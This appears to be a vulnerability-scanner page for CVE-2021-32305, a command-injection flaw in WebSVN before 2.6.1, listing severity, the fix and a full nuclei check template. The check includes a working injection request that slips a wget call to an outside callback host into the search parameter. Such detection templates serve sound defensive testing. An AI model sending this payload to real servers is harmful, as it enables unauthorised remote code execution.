Websvn <2.6.1 - Remote Code Execution

criticalseverity

9.8CVSS score

87.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Upgrade Websvn to version 2.6.1 or later to mitigate this vulnerability.

How to confirm it

Send: GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2021-32305 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-32305

info:
  name: Websvn <2.6.1 - Remote Code Execution
  author: gy741
  severity: critical
  description: WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade Websvn to version 2.6.1 or later to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
    - https://github.com/websvnphp/websvn/pull/142
    - http://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32305
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-32305
    cwe-id: CWE-78
    epss-score: 0.87304
    epss-percentile: 0.99755
    cpe: cpe:2.3:a:websvn:websvn:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: websvn
    product: websvn
  tags: cve,cve2021,websvn,rce,oast,packetstorm,vkev,vuln

http:
  - raw:
      - |
        GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from